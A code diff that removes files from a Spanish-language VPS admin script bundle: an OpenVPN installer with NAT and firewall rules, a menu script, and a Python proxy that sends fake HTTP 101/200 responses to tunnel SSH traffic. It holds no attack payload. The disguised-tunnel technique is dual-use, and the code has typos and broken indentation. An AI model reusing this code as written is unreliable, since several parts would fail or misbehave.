-verb 3
-duplicate-cn
-key client-key.pem
-ca ca.pem
-cert client-cert.pem
-dh dh.pem
-keepalive 10 120
-persist-key
-persist-tun
-comp-lzo
-float
-push "redirect-gateway def1 bypass-dhcp"
-${dns[0]}
-${dns[1]}
-
-user nobody
-group nogroup
-
-${CIPHER}
-proto ${PROTOCOL}
-port $PORT
-dev tun
-status openvpn-status.log
-EOF
-		updatedb
-		PLUGIN=$(locate openvpn-plugin-auth-pam.so | head -1)
-		[[ ! -z $(echo ${PLUGIN}) ]] && {
-			echo "client-to-client
- client-cert-not-required
- username-as-common-name
- plugin $PLUGIN login" >>/etc/openvpn/server.conf
-		}
-	) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-	echo -ne " \033[1;31m[ ! ] Generating CA Config" # Generate CA Config
-	(
-		while [[ ! -e /etc/openvpn/client-key.pem || -z $(cat /etc/openvpn/client-key.pem) ]]; do
-			openssl genrsa -out /etc/openvpn/client-key.pem 2048 &>/dev/null
-		done
-		chmod 600 /etc/openvpn/client-key.pem
-		while [[ ! -e /etc/openvpn/client-csr.pem || -z $(cat /etc/openvpn/client-csr.pem) ]]; do
-			openssl req -new -key /etc/openvpn/client-key.pem -out /etc/openvpn/client-csr.pem -subj /CN=OpenVPN-Client/ &>/dev/null
-		done
-		while [[ ! -e /etc/openvpn/client-cert.pem || -z $(cat /etc/openvpn/client-cert.pem) ]]; do
-			openssl x509 -req -in /etc/openvpn/client-csr.pem -out /etc/openvpn/client-cert.pem -CA /etc/openvpn/ca.pem -CAkey /etc/openvpn/ca-key.pem -days 365 &>/dev/null
-		done
-	) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-	teste_porta() {
-		msg -bar
-		echo -ne " \033[1;31m$(fun_trans ${id} "Verificando"):"
-		sleep 1s
-		[[ ! $(mportas | grep "$1") ]] && {
-			echo -e "\033[1;33m [FAIL]\033[0m"
-		} || {
-			echo -e "\033[1;32m [Pass]\033[0m"
-			return 1
-		}
-	}
-	msg -bar
-	echo -e "\033[1;33m Ahora Necesitamos un Proxy SQUID o PYTHON-OPENVPN"
-	echo -e "\033[1;33m Si no existe un proxy en la puerta, un proxy Python sera abierto!"
-	msg -bar
-	while [[ $? != "1" ]]; do
-		read -p " Confirme el Puerto(Proxy) " -e -i 80 PPROXY
-		teste_porta $PPROXY
-	done
-	cat >/etc/openvpn/client-common.txt <<EOF
-# OVPN_ACCESS_SERVER_PROFILE=VPS-MX
-client
-nobind
-dev tun
-redirect-gateway def1 bypass-dhcp
-remote-random
-remote ${SERVER_IP} ${PORT} ${PROTOCOL}
-http-proxy ${SERVER_IP} ${PPROXY}
-$CIPHER
-comp-lzo yes
-keepalive 10 20
-float
-auth-user-pass
-EOF
-	# Iptables
-	if [[ ! -f /proc/user_beancounters ]]; then
-		INTIP=$(ip a | awk -F"[ /]+" '/global/ && !/127.0/ {print $3; exit}')
-		N_INT=$(ip a | awk -v sip="$INTIP" '$0 ~ sip { print $7}')
-		iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o $N_INT -j MASQUERADE
-		iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $SERVER_IP
-	else
-		iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to-source $SERVER_IP
-
-	fi
-	iptables-save >/etc/iptables.conf
-	cat >/etc/network/if-up.d/iptables <<EOF
-#!/bin/sh
-iptables-restore < /etc/iptables.conf
-EOF
-	chmod +x /etc/network/if-up.d/iptables
-	# Enable net.ipv4.ip_forward
-	sed -i 's|#net.ipv4.ip_forward=1|net.ipv4.ip_forward=1|' /etc/sysctl.conf
-	echo 1 >/proc/sys/net/ipv4/ip_forward
-	# Regras de Firewall
-	if pgrep firewalld; then
-		if [[ "$PROTOCOL" = 'udp' ]]; then
-			firewall-cmd --zone=public --add-port=$PORT/udp
-			firewall-cmd --permanent --zone=public --add-port=$PORT/udp
-		elif [[ "$PROTOCOL" = 'tcp' ]]; then
-			firewall-cmd --zone=public --add-port=$PORT/tcp
-			firewall-cmd --permanent --zone=public --add-port=$PORT/tcp
-		fi
-		firewall-cmd --zone=trusted --add-source=10.8.0.0/24
-		firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24
-	fi
-	if iptables -L -n | grep -qE 'REJECT|DROP'; then
-		if [[ "$PROTOCOL" = 'udp' ]]; then
-			iptables -I INPUT -p udp --dport $PORT -j ACCEPT
-		elif [[ "$PROTOCOL" = 'tcp' ]]; then
-			iptables -I INPUT -p tcp --dport $PORT -j ACCEPT
-		fi
-		iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT
-		iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
-		iptables-save >$IPTABLES
-	fi
-	if hash sestatus 2>/dev/null; then
-		if sestatus | grep "Current mode" | grep -qs "enforcing"; then
-			if [[ "$PORT" != '1194' ]]; then
-				if ! hash semanage 2>/dev/null; then
-					yum install policycoreutils-python -y
-				fi
-				if [[ "$PROTOCOL" = 'udp' ]]; then
-					semanage port -a -t openvpn_port_t -p udp $PORT
-				elif [[ "$PROTOCOL" = 'tcp' ]]; then
-					semanage port -a -t openvpn_port_t -p tcp $PORT
-				fi
-			fi
-		fi
-	fi
-	#Liberando DNS
-	msg -bar
-	msg -ama " Ultimo Paso, Configuraciones DNS"
-	msg -bar
-	while [[ $DDNS != @(n|N) ]]; do
-		echo -ne "\033[1;33m"
-		read -p " Agergar HOST DNS [S/N]: " -e -i n DDNS
-		[[ $DDNS = @(s|S|y|Y) ]] && agrega_dns
-	done
-	[[ ! -z $NEWDNS ]] && {
-		sed -i "/127.0.0.1[[:blank:]]\+localhost/a 127.0.0.1 $NEWDNS" /etc/hosts
-		for DENESI in $(echo $NEWDNS); do
-			sed -i "/remote ${SERVER_IP} ${PORT} ${PROTOCOL}/a remote ${DENESI} ${PORT} ${PROTOCOL}" /etc/openvpn/client-common.txt
-		done
-	}
-	msg -bar
-	# REINICIANDO OPENVPN
-	if [[ "$OS" = 'debian' ]]; then
-		if pgrep systemd-journal; then
-			sed -i 's|LimitNPROC|#LimitNPROC|' /lib/systemd/system/openvpn\@.service
-			sed -i 's|/etc/openvpn/server|/etc/openvpn|' /lib/systemd/system/openvpn\@.service
-			sed -i 's|%i.conf|server.conf|' /lib/systemd/system/openvpn\@.service
-			#systemctl daemon-reload
-			(
-				systemctl restart openvpn
-				systemctl enable openvpn
-			) >/dev/null 2>&1
-		else
-			/etc/init.d/openvpn restart >/dev/null 2>&1
-		fi
-	else
-		if pgrep systemd-journal; then
-			(
-				systemctl restart openvpn@server.service
-				systemctl enable openvpn@server.service
-			) >/dev/null 2>&1
-		else
-			(
-				service openvpn restart
-				chkconfig openvpn on
-			) >/dev/null 2>&1
-		fi
-	fi
-	service squid restart &>/dev/null
-	service squid3 restart &>/dev/null
-	apt-get install ufw -y >/dev/null 2>&1
-	for ufww in $(mportas | awk '{print $2}'); do
-		ufw allow $ufww >/dev/null 2>&1
-	done
-	#Restart OPENVPN
-	(
-		killall openvpn 2>/dev/null
-		systemctl stop openvpn@server.service >/dev/null 2>&1
-		service openvpn stop >/dev/null 2>&1
-		sleep 0.1s
-		cd /etc/openvpn >/dev/null 2>&1
-		screen -dmS ovpnscr openvpn --config "server.conf" >/dev/null 2>&1
-	) >/dev/null 2>&1
-	echo -e "\033[1;32m Openvpn configurado con EXITO!"
-	msg -bar
-	msg -ama " Ahora crear una SSH para generar el (.ovpn)!"
-	msg -bar
-	return 0
-}
-edit_ovpn_host() {
-	msg -bar3
-	msg -ama " CONFIGURACION HOST DNS OPENVPN"
-	msg -bar
-	while [[ $DDNS != @(n|N) ]]; do
-		echo -ne "\033[1;33m"
-		read -p " Agregar host [S/N]: " -e -i n DDNS
-		[[ $DDNS = @(s|S|y|Y) ]] && agrega_dns
-	done
-	[[ ! -z $NEWDNS ]] && sed -i "/127.0.0.1[[:blank:]]\+localhost/a 127.0.0.1 $NEWDNS" /etc/hosts
-	msg -bar
-	msg -ama " Es Necesario el Reboot del Servidor Para"
-	msg -ama " Para que las configuraciones sean efectudas"
-	msg -bar
-}
-fun_openvpn() {
-	[[ -e /etc/openvpn/server.conf ]] && {
-		unset OPENBAR
-		[[ $(mportas | grep -w "openvpn") ]] && OPENBAR="\033[1;32m ONLINE" || OPENBAR="\033[1;31m OFFLINE"
-		msg -ama " OPENVPN YA ESTA INSTALADO"
-		msg -bar
-		echo -e "\033[1;32m [1] >\033[1;36m DESINSTALAR  OPENVPN"
-		echo -e "\033[1;32m [2] >\033[1;36m EDITAR CONFIGURACION CLIENTE \033[1;31m(MEDIANTE NANO)"
-		echo -e "\033[1;32m [3] >\033[1;36m EDITAR CONFIGURACION SERVIDOR \033[1;31m(MEDIANTE NANO)"
-		echo -e "\033[1;32m [4] >\033[1;36m CAMBIAR HOST DE OPENVPN"
-		echo -e "\033[1;32m [5] >\033[1;36m INICIAR O PARAR OPENVPN - $OPENBAR"
-		msg -bar
-		while [[ $xption != @([0|1|2|3|4|5]) ]]; do
-			echo -ne "\033[1;33m $(fun_trans "Opcion"): " && read xption
-			tput cuu1 && tput dl1
-		done
-		case $xption in
-		1)
-			clear
-			msg -bar
-			echo -ne "\033[1;97m"
-			read -p "QUIERES DESINTALAR OPENVPN? [Y/N]: " -e REMOVE
-			msg -bar
-			if [[ "$REMOVE" = 'y' || "$REMOVE" = 'Y' ]]; then
-				PORT=$(grep '^port ' /etc/openvpn/server.conf | cut -d " " -f 2)
-				PROTOCOL=$(grep '^proto ' /etc/openvpn/server.conf | cut -d " " -f 2)
-				if pgrep firewalld; then
-					IP=$(firewall-cmd --direct --get-rules ipv4 nat POSTROUTING | grep '\-s 10.8.0.0/24 '"'"'!'"'"' -d 10.8.0.0/24 -j SNAT --to ' | cut -d " " -f 10)
-					#
-					firewall-cmd --zone=public --remove-port=$PORT/$PROTOCOL
-					firewall-cmd --zone=trusted --remove-source=10.8.0.0/24
-					firewall-cmd --permanent --zone=public --remove-port=$PORT/$PROTOCOL
-					firewall-cmd --permanent --zone=trusted --remove-source=10.8.0.0/24
-					firewall-cmd --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
-					firewall-cmd --permanent --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
-				else
-					IP=$(grep 'iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to ' $RCLOCAL | cut -d " " -f 14)
-					iptables -t nat -D POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
-					sed -i '/iptables -t nat -A POSTROUTING -s 10.8.0.0\/24 ! -d 10.8.0.0\/24 -j SNAT --to /d' $RCLOCAL
-					if iptables -L -n | grep -qE '^ACCEPT'; then
-						iptables -D INPUT -p $PROTOCOL --dport $PORT -j ACCEPT
-						iptables -D FORWARD -s 10.8.0.0/24 -j ACCEPT
-						iptables -D FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
-						sed -i "/iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT/d" $RCLOCAL
-						sed -i "/iptables -I FORWARD -s 10.8.0.0\/24 -j ACCEPT/d" $RCLOCAL
-						sed -i "/iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT/d" $RCLOCAL
-					fi
-				fi
-				if sestatus 2>/dev/null | grep "Current mode" | grep -q "enforcing" && [[ "$PORT" != '1194' ]]; then
-					semanage port -d -t openvpn_port_t -p $PROTOCOL $PORT
-				fi
-				if [[ "$OS" = 'debian' ]]; then
-					apt-get remove --purge -y openvpn
-				else
-					yum remove openvpn -y
-				fi
-				rm -rf /etc/openvpn
-				rm -f /etc/sysctl.d/30-openvpn-forward.conf
-				msg -bar
-				echo "OpenVPN removido!"
-				msg -bar
-			else
-				msg -bar
-				echo "Desinstalacion abortada!"
-				msg -bar
-			fi
-			return 0
-			;;
-		2)
-			nano /etc/openvpn/client-common.txt
-			return 0
-			;;
-		3)
-			nano /etc/openvpn/server.conf
-			return 0
-			;;
-		4) edit_ovpn_host ;;
-		5)
-			[[ $(mportas | grep -w openvpn) ]] && {
-				/etc/init.d/openvpn stop >/dev/null 2>&1
-				killall openvpn &>/dev/null
-				systemctl stop openvpn@server.service &>/dev/null
-				service openvpn stop &>/dev/null
-				#ps x |grep openvpn |grep -v grep|awk '{print $1}' | while read pid; do kill -9 $pid; done
-			} || {
-				cd /etc/openvpn
-				screen -dmS ovpnscr openvpn --config "server.conf" >/dev/null 2>&1
-				cd $HOME
-			}
-			msg -ama " Procedimiento Hecho con Exito"
-			msg -bar
-			return 0
-			;;
-		0)
-			return 0
-			;;
-		esac
-		exit
-	}
-	[[ -e /etc/squid/squid.conf ]] && instala_ovpn2 && return 0
-	[[ -e /etc/squid3/squid.conf ]] && instala_ovpn2 && return 0
-
-	instala_ovpn2 || return 1
-}
-
-fun_openvpn

+ 0 - 329
SCRIPT-v8.5x Mod/VPS-MX/protocolos/proxy.sh

@@ -1,329 +0,0 @@
-#!/bin/bash
- clear
- 
- SCPinst="/etc/VPS-MX/protocolos"
- mportas () {
- unset portas
- portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
- while read port; do
- var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
- [[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
- done <<< "$portas_var"
- i=1
- echo -e "$portas"
- }
- BARRA="\e[0;31m=====================================================\e[0m"
- 
- pid_kill () {
- 	[[ -z $1 ]] && refurn 1
- 	pids="$@"
- 	for pid in $(echo $pids); do
- 		kill -9 $pid &>/dev/null
- 	done
-  }
- 
- det_py(){
- 	pidproxy3=$(ps x | grep "lacasitamx.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && pid_kill $pidproxy3
- 	echo -e "\033[1;91m  SOCKS DETENIDO"
- 	rm /etc/VPS-MX/PortPD.log &>/dev/null
- 	rm -rf /etc/VPS-MX/protocolos/lacasitamx.py
- 	
- 	}
- 
- 
- pytho_py(){
- clear
- echo ""
- if [[ ! -e /etc/VPS-MX/fix ]]; then
- 		echo ""
- ins(){
- apt-get install python -y 
- apt-get install python-pip -y
- }
- ins &>/dev/null && echo -e "INSTALANDO FIX" | pv -qL 40
- sleep 1.s
- [[ ! -e /etc/VPS-MX/fix ]] && touch /etc/VPS-MX/fix
- else
- echo ""
- fi
- clear
- echo ""
- echo ""
- msg -tit
- echo -e "$BARRA"
- echo -e "\033[1;31m  HTTP | PYTHON | CUSTOM\033[0m"
- echo -e "$BARRA"
- #puerto a usar para proxy python
- while true; do
- 	echo -ne "\033[1;37m"
-     read -p " ESCRIBE SU PUERTO: " proxycolor
- 	echo -e ""
-     [[ $(mportas|grep -w "$proxycolor") ]] || break
-     echo -e " ESTE PUERTO YA ESTÁ EN USO"
-     unset proxycolor
-     done
-     #puerto local
-    echo -e "$BARRA" 
-     while true; do
-  		
-          echo -ne "\033[1;36m"
-          read -p " Introduzca El puerto Local (22|443|80): " PORTLOC
- 		 echo ""
-          if [[ ! -z $PORTLOC ]]; then
-              if [[ $(echo $PORTLOC|grep [0-9]) ]]; then
-                 [[ $(mportas|grep $PORTLOC|head -1) ]] && break || echo -e "ESTE PUERTO NO EXISTE"
-              fi
-          fi
-          done
-  #        
- portlocal="$(mportas|grep $PORTLOC|awk '{print $2}'|head -1)"
- echo -e "$BARRA"
- read -p " Escribe el HTTP Response? (101|200|300): " encabezad
- tput cuu1 && tput dl1
-      if [[ -z $encabezad ]]; then
-         encabezad="200"
-         echo -e "	\e[31mResponse Default:\033[1;32m ${encabezad}"
-     else
-         echo -e "	\e[31mResponse Elegido:\033[1;32m ${encabezad}"
-     fi
- echo -e "$BARRA"
- echo -ne " Introduzca un texto para el status en HTML:\n \033[1;37m" && read mensage
- tput cuu1 && tput dl1
-      if [[ -z $mensage ]]; then
-         mensage="@lacasitamx"
-         echo -e "	\e[31mMensage Default: \033[1;32m${mensage} "
-     else
-         echo -e "	\e[31mMensage: \033[1;32m ${mensage}"
-     fi
-     echo -e "$BARRA"
-     [[ ! -e /etc/VPS-MX/protocolos/lacasitamx.py ]] && rm -rf /etc/VPS-MX/protocolos/lacasitamx.py
- #
- 	# Inicializando o Proxy
- 	(
- 	less << CPM > /etc/VPS-MX/protocolos/lacasitamx.py
- # -*- coding: utf-8 -*-
- import socket, threading, thread, select, signal, sys, time, getopt
- LISTENING_ADDR = '0.0.0.0'
- LISTENING_PORT = int("$proxycolor")
- PASS = ''
- BUFLEN = 4096 * 4
- TIMEOUT = 60
- DEFAULT_HOST = '127.0.0.1:$portlocal'
- msg = "HTTP/1.1 $encabezad $mensage\r\n\r\nHTTP/1.1 $encabezad !!!conexion exitosa!!!\r\n\r\n"
- RESPONSE = str(msg)
- class Server(threading.Thread):
-     def __init__(self, host, port):
-         threading.Thread.__init__(self)
-         self.running = False
-         self.host = host
-         self.port = port
-         self.threads = []
-         self.threadsLock = threading.Lock()
-         self.logLock = threading.Lock()
-     def run(self):
-         self.soc = socket.socket(socket.AF_INET)
-         self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-         self.soc.settimeout(2)
-         self.soc.bind((self.host, self.port))
-         self.soc.listen(0)
-         self.running = True
-         try:
-             while self.running:
-                 try:
-                     c, addr = self.soc.accept()
-                     c.setblocking(1)
-                 except socket.timeout:
-                     continue
-                 conn = ConnectionHandler(c, self, addr)
-                 conn.start()
-                 self.addConn(conn)
-         finally:
-             self.running = False
-             self.soc.close()
-     def printLog(self, log):
-         self.logLock.acquire()
-         print log
-         self.logLock.release()
-     def addConn(self, conn):
-         try:
-             self.threadsLock.acquire()
-             if self.running:
-                 self.threads.append(conn)
-         finally:
-             self.threadsLock.release()
-     def removeConn(self, conn):
-         try:
-             self.threadsLock.acquire()
-             self.threads.remove(conn)
-         finally:
-             self.threadsLock.release()
-     def close(self):
-         try:
-             self.running = False
-             self.threadsLock.acquire()
-             threads = list(self.threads)
-             for c in threads:
-                 c.close()
-         finally:
-             self.threadsLock.release()
- class ConnectionHandler(threading.Thread):
-     def __init__(self, socClient, server, addr):
-         threading.Thread.__init__(self)
-         self.clientClosed = False
-         self.targetClosed = True
-         self.client = socClient
-         self.client_buffer = ''
-         self.server = server
-         self.log = 'Connection: ' + str(addr)
-     def close(self):
-         try:
-             if not self.clientClosed:
-                 self.client.shutdown(socket.SHUT_RDWR)
-                 self.client.close()
-         except:
-             pass
-         finally:
-             self.clientClosed = True
-         try:
-             if not self.targetClosed:
-                 self.target.shutdown(socket.SHUT_RDWR)
-                 self.target.close()
-         except:
-             pass
-         finally:
-             self.targetClosed = True
-     def run(self):
-         try:
-             self.client_buffer = self.client.recv(BUFLEN)
-             hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
-             if hostPort == '':
-                 hostPort = DEFAULT_HOST
-             split = self.findHeader(self.client_buffer, 'X-Split')
-             if split != '':
-                 self.client.recv(BUFLEN)
-             if hostPort != '':
-                 passwd = self.findHeader(self.client_buffer, 'X-Pass')
- 				
-                 if len(PASS) != 0 and passwd == PASS:
-                     self.method_CONNECT(hostPort)
-                 elif len(PASS) != 0 and passwd != PASS:
-                     self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
-                 elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
-                     self.method_CONNECT(hostPort)
-                 else:
-                     self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
-             else:
-                 print '- No X-Real-Host!'
-                 self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
-         except Exception as e:
-             self.log += ' - error: ' + e.strerror
-             self.server.printLog(self.log)
- 	    pass
-         finally:
-             self.close()
-             self.server.removeConn(self)
-     def findHeader(self, head, header):
-         aux = head.find(header + ': ')
-         if aux == -1:
-             return ''
-         aux = head.find(':', aux)
-         head = head[aux+2:]
-         aux = head.find('\r\n')
-         if aux == -1:
-             return ''
-         return head[:aux];
-     def connect_target(self, host):
-         i = host.find(':')
-         if i != -1:
-             port = int(host[i+1:])
-             host = host[:i]
-         else:
-             if self.method=='CONNECT':
-                 port = 443
-             else:
-                 port = 80
-                 port = 8080
-                 port = 8799
-                 port = 3128
-         (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
-         self.target = socket.socket(soc_family, soc_type, proto)
-         self.targetClosed = False
-         self.target.connect(address)
-     def method_CONNECT(self, path):
-         self.log += ' - CONNECT ' + path
-         self.connect_target(path)
-         self.client.sendall(RESPONSE)
-         self.client_buffer = ''
-         self.server.printLog(self.log)
-         self.doCONNECT()
-     def doCONNECT(self):
-         socs = [self.client, self.target]
-         count = 0
-         error = False
-         while True:
-             count += 1
-             (recv, _, err) = select.select(socs, [], socs, 3)
-             if err:
-                 error = True
-             if recv:
-                 for in_ in recv:
- 		    try:
-                         data = in_.recv(BUFLEN)
-                         if data:
- 			    if in_ is self.target:
- 				self.client.send(data)
-                             else:
-                                 while data:
-                                     byte = self.target.send(data)
-                                     data = data[byte:]
-                             count = 0
- 			else:
- 			    break
- 		    except:
-                         error = True
-                         break
-             if count == TIMEOUT:
-                 error = True
-             if error:
-                 break
- def main(host=LISTENING_ADDR, port=LISTENING_PORT):
-     print "\n:-------PythonProxy-------:\n"
-     print "Listening addr: " + LISTENING_ADDR
-     print "Listening port: " + str(LISTENING_PORT) + "\n"
-     print ":-------------------------:\n"
-     server = Server(LISTENING_ADDR, LISTENING_PORT)
-     server.start()
-     while True:
-         try:
-             time.sleep(2)
-         except KeyboardInterrupt:
-             print 'Stopping...'
-             server.close()
-             break
- if __name__ == '__main__':
-     main()
-CPM
- ) > $HOME/proxy.log &
- 
- chmod +x /etc/VPS-MX/protocolos/lacasitamx.py &>/dev/nulll
- 
- screen -dmS pydic-"$proxycolor" python ${SCPinst}/lacasitamx.py "$proxycolor" "$mensage" && echo ""$proxycolor" "$mensage"" >> /etc/VPS-MX/PortPD.log
- }
- 
- clear
- echo -e "$BARRA"
- msg -tit
- echo -e "$BARRA"
- pidproxy=$(ps x | grep -w  "lacasitamx.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && plox="\e[1;32m[ON]" || plox="\e[1;31m[OFF]"
- #
- echo -e "\e[1;33m [1] \e[1;31m > \e[1;36mHTTP | PYTHON | CUSTOM $plox\e[0m"
- echo -e "\e[1;33m [2] \e[1;31m > \e[1;31mDESINSTALAR RECURSO\e[0m"
- echo -e "\e[1;33m [0] \e[1;31m > \e[1;37mVOLVER\e[0m"
- echo -e "$BARRA"
- read -p "SELECIONE UNA OPCION : " pix
- case $pix in
- 0) ;;
- 1) pytho_py ;;
- 2) det_py ;;
- esac
- # 

+ 0 - 267
SCRIPT-v8.5x Mod/VPS-MX/protocolos/python.py

@@ -1,267 +0,0 @@
-import socket, threading, thread, select, signal, sys, time, getopt
-
-# Listen
-LISTENING_ADDR = '0.0.0.0'
-if sys.argv[1:]:
-  LISTENING_PORT = sys.argv[1]
-else:
-  LISTENING_PORT = 80  
-#Pass
-PASS = ''
-
-# CONST
-BUFLEN = 4096 * 4
-TIMEOUT = 60
-DEFAULT_HOST = '127.0.0.1:22'
-RESPONSE = 'HTTP/1.1 101 Switching Protocols <strong>By: lacasitamx</strong>\r\n\r\n'
-#
-
-class Server(threading.Thread):
-    def __init__(self, host, port):
-        threading.Thread.__init__(self)
-        self.running = False
-        self.host = host
-        self.port = port
-        self.threads = []
-        self.threadsLock = threading.Lock()
-        self.logLock = threading.Lock()
-
-    def run(self):
-        self.soc = socket.socket(socket.AF_INET)
-        self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-        self.soc.settimeout(2)
-        intport = int(self.port)
-        self.soc.bind((self.host, intport))
-        self.soc.listen(0)
-        self.running = True
-
-        try:
-            while self.running:
-                try:
-                    c, addr = self.soc.accept()
-                    c.setblocking(1)
-                except socket.timeout:
-                    continue
-
-                conn = ConnectionHandler(c, self, addr)
-                conn.start()
-                self.addConn(conn)
-        finally:
-            self.running = False
-            self.soc.close()
-
-    def printLog(self, log):
-        self.logLock.acquire()
-        print log
-        self.logLock.release()
-
-    def addConn(self, conn):
-        try:
-            self.threadsLock.acquire()
-            if self.running:
-                self.threads.append(conn)
-        finally:
-            self.threadsLock.release()
-
-    def removeConn(self, conn):
-        try:
-            self.threadsLock.acquire()
-            self.threads.remove(conn)
-        finally:
-            self.threadsLock.release()
-
-    def close(self):
-        try:
-            self.running = False
-            self.threadsLock.acquire()
-
-            threads = list(self.threads)
-            for c in threads:
-                c.close()
-        finally:
-            self.threadsLock.release()
-
-
-class ConnectionHandler(threading.Thread):
-    def __init__(self, socClient, server, addr):
-        threading.Thread.__init__(self)
-        self.clientClosed = False
-        self.targetClosed = True
-        self.client = socClient
-        self.client_buffer = ''
-        self.server = server
-        self.log = 'Connection: ' + str(addr)
-
-    def close(self):
-        try:
-            if not self.clientClosed:
-                self.client.shutdown(socket.SHUT_RDWR)
-                self.client.close()
-        except:
-            pass
-        finally:
-            self.clientClosed = True
-
-        try:
-            if not self.targetClosed:
-                self.target.shutdown(socket.SHUT_RDWR)
-                self.target.close()
-        except:
-            pass
-        finally:
-            self.targetClosed = True
-
-    def run(self):
-        try:
-            self.client_buffer = self.client.recv(BUFLEN)
-
-            hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
-
-            if hostPort == '':
-                hostPort = DEFAULT_HOST
-
-            split = self.findHeader(self.client_buffer, 'X-Split')
-
-            if split != '':
-                self.client.recv(BUFLEN)
-
-            if hostPort != '':
-                passwd = self.findHeader(self.client_buffer, 'X-Pass')
-				
-                if len(PASS) != 0 and passwd == PASS:
-                    self.method_CONNECT(hostPort)
-                elif len(PASS) != 0 and passwd != PASS:
-                    self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
-                elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
-                    self.method_CONNECT(hostPort)
-                else:
-                    self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
-            else:
-                print '- No X-Real-Host!'
-                self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
-
-        except Exception as e:
-            self.log += ' - error: ' + e.strerror
-            self.server.printLog(self.log)
-	    pass
-        finally:
-            self.close()
-            self.server.removeConn(self)
-
-    def findHeader(self, head, header):
-        aux = head.find(header + ': ')
-
-        if aux == -1:
-            return ''
-
-        aux = head.find(':', aux)
-        head = head[aux+2:]
-        aux = head.find('\r\n')
-
-        if aux == -1:
-            return ''
-
-        return head[:aux];
-
-    def connect_target(self, host):
-        i = host.find(':')
-        if i != -1:
-            port = int(host[i+1:])
-            host = host[:i]
-        else:
-            if self.method=='CONNECT':
-                port = 22
-            else:
-                port = sys.argv[1]
-
-        (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
-
-        self.target = socket.socket(soc_family, soc_type, proto)
-        self.targetClosed = False
-        self.target.connect(address)
-
-    def method_CONNECT(self, path):
-        self.log += ' - CONNECT ' + path
-
-        self.connect_target(path)
-        self.client.sendall(RESPONSE)
-        self.client_buffer = ''
-
-        self.server.printLog(self.log)
-        self.doCONNECT()
-
-    def doCONNECT(self):
-        socs = [self.client, self.target]
-        count = 0
-        error = False
-        while True:
-            count += 1
-            (recv, _, err) = select.select(socs, [], socs, 3)
-            if err:
-                error = True
-            if recv:
-                for in_ in recv:
-		    try:
-                        data = in_.recv(BUFLEN)
-                        if data:
-			    if in_ is self.target:
-				self.client.send(data)
-                            else:
-                                while data:
-                                    byte = self.target.send(data)
-                                    data = data[byte:]
-
-                            count = 0
-			else:
-			    break
-		    except:
-                        error = True
-                        break
-            if count == TIMEOUT:
-                error = True
-            if error:
-                break
-
-
-def print_usage():
-    print 'Usage: proxy.py -p <port>'
-    print '       proxy.py -b <bindAddr> -p <port>'
-    print '       proxy.py -b 0.0.0.0 -p 80'
-
-def parse_args(argv):
-    global LISTENING_ADDR
-    global LISTENING_PORT
-    
-    try:
-        opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="])
-    except getopt.GetoptError:
-        print_usage()
-        sys.exit(2)
-    for opt, arg in opts:
-        if opt == '-h':
-            print_usage()
-            sys.exit()
-        elif opt in ("-b", "--bind"):
-            LISTENING_ADDR = arg
-        elif opt in ("-p", "--port"):
-            LISTENING_PORT = int(arg)
-
-
-def main(host=LISTENING_ADDR, port=LISTENING_PORT):
-    print "\n:-------PythonProxy-------:\n"
-    print "Listening addr: " + LISTENING_ADDR
-    print "Listening port: " + str(LISTENING_PORT) + "\n"
-    print ":-------------------------:\n"
-    server = Server(LISTENING_ADDR, LISTENING_PORT)
-    server.start()
-    while True:
-        try:
-            time.sleep(2)
-        except KeyboardInterrupt:
-            print 'Stopping...'
-            server.close()
-            break
-
-#######    parse_args(sys.argv[1:])
-if __name__ == '__main__':
-    main()

+ 0 - 139
SCRIPT-v8.5x Mod/VPS-MX/protocolos/shadowsocks.sh

@@ -1,139 +0,0 @@
-#!/bin/bash
-#25/01/2021
-clear
-clear
-declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
-SCPdir="/etc/VPS-MX"
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
-SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
-mportas () {
-unset portas
